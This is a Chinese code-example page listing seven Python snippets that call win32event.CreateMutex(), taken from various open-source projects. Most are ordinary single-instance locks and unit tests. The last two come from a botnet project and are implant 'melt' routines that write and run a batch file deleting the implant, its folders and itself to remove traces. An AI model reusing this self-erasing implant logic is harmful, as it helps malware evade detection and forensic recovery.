Python win32event 模块,CreateMutex() 实例源码

我们从Python开源项目中,提取了以下7个代码示例,用于说明如何使用win32event.CreateMutex()

项目:Email_My_PC    作者:Jackeriss    | 项目源码 | 文件源码
def __init__(self):
        self.mutexname = "testmutex_{D0E858DF-985E-4907-B7FB-8D732C3FC3B9}"
        self.mutex = CreateMutex(None, False, self.mutexname)
        self.lasterror = GetLastError()
项目:pycon2016    作者:nhudinhtuan    | 项目源码 | 文件源码
def __init__(self, name):
            self.name = name
            self.handle = win32event.CreateMutex(None, 0, self.name)
            self.locked = False
项目:django-runner    作者:awecode    | 项目源码 | 文件源码
def create_mutex(self, argv):
        try:
            from win32event import CreateMutex
            from win32api import GetLastError

            self.mutexname = "awecode_dr_" + str(argv[0])
            self.mutex = CreateMutex(None, False, self.mutexname)
            self.lasterror = GetLastError()
        except ImportError:
            pass
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def testReleaseMutex(self):
        mutex = win32event.CreateMutex(None, True, None)
        res = win32event.ReleaseMutex(mutex)
        self.assertEqual(res, None)
        res = win32event.WaitForSingleObject(mutex, 0)
        self.assertEqual(res, win32event.WAIT_OBJECT_0)
        mutex.close()
        self.assertRaises(pywintypes.error, win32event.ReleaseMutex, mutex)
项目:CodeReader    作者:jasonrbr    | 项目源码 | 文件源码
def testReleaseMutex(self):
        mutex = win32event.CreateMutex(None, True, None)
        res = win32event.ReleaseMutex(mutex)
        self.assertEqual(res, None)
        res = win32event.WaitForSingleObject(mutex, 0)
        self.assertEqual(res, win32event.WAIT_OBJECT_0)
        mutex.close()
        self.assertRaises(pywintypes.error, win32event.ReleaseMutex, mutex)
项目:dreamr-botnet    作者:YinAndYangSecurityAwareness    | 项目源码 | 文件源码
def melt(filename):
    # Try and make the dreamr danger mutex to warn other implants
    try:
        mutex = win32event.CreateMutex(None, True, "dreamr-melting")
    except:
        pass

    countdown = 3
    while countdown > 0:
        countdown -= 1
        print("the implant will melt in %s seconds" % countdown)
        time.sleep(1)

    batchName = "mlt.bat"
    batch = open(batchName, "w")
    batch.write("@echo off\n")
    batch.write("ping 127.0.0.1 -n 2\n")
    batch.write("del dreamr.exe\n")
    batch.write("rd /S /Q www\n")
    batch.write("rd /S /Q cert\n")
    batch.write("del mt.exe\n")
    batch.write("del drm.txt\n")
    batch.write("del \"%s\"\n" % filename)
    batch.write("del \"%s\"\n" % sys.argv[0])
    batch.write("start \"\" \"svchost.exe\"\n")
    batch.write("del \"%s\"\n" % batchName)
    batch.close()
    subprocess.Popen([batchName])
    return

# Check mutex to detect multilaunch
项目:dreamr-botnet    作者:YinAndYangSecurityAwareness    | 项目源码 | 文件源码
def melt(filename = BinaryLocation):
    # Try and make the dreamr danger mutex to warn other implants
    try:
        mutex = win32event.CreateMutex(None, True, "dreamcatchr-melting")
    except:
        pass
    try:
        things = [WebPath, BinaryLocation, DreamrLocation, sys.argv[0], KeyPath]
        for thing in things:
            unhideFile(filename)
            #execute("attrib", ["-R", "-A", "-S", "-H", filename], False)
    except:
        pass
    try:
        execute("rd", ["/S", "/Q", KeyPath], False)
        execute("rd", ["/S", "/Q", WebPath], False)
    except:
        try:
            execute("rd", ["/S", "/Q", WebPath], False)
            execute("rd", ["/S", "/Q", KeyPath], False)
        except:
            pass

    countdown = 3
    while countdown > 0:
        countdown -= 1
        debug("core", "the implant will melt in %s seconds" % countdown)
        time.sleep(1)

    batchName = "mlt.bat"
    batch = open(batchName, "w")
    batch.write("@echo off\n")
    batch.write("ping 127.0.0.1 -n 2\n")
    batch.write("del dreamr.exe\n")
    batch.write("rd /S /Q www\n")
    batch.write("rd /S /Q cert\n")
    batch.write("del \"%s\"\n" % filename)
    batch.write("del \"%s\"\n" % sys.argv[0])
    batch.write("del \"%s\"\n" % batchName)
    batch.close()
    subprocess.Popen([batchName])
    return

# Update Implant